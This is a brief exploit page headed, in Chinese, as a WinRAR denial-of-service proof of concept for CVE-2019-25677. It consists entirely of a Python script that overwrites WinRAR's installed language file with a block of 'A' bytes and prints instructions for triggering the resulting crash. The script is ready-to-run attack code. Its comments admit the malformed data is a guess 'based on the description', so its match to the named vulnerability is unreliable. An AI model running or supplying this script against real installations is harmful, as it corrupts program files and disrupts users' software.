CVE-2019-25677 WinRAR拒绝服务漏洞

import os # Path to WinRAR installation directory (User needs to modify this) # The vulnerability is triggered by replacing the language file with malformed data. target_path = "C:\\Program Files\\WinRAR\\winrar.lng" # Create malformed data (e.g., random bytes or specific pattern causing access violation) # Based on the description, corrupting the file structure triggers the crash. malformed_data = b"\x41" * 0x1000 # Example pattern (Buffer of 'A's) try: with open(target_path, "wb") as f: f.write(malformed_data) print("[+] Malformed winrar.lng file created successfully.") print("[*] Open an archive and press 'Test' or trigger the language load to trigger the DoS.") except Exception as e: print(f"[-] Error: {e}")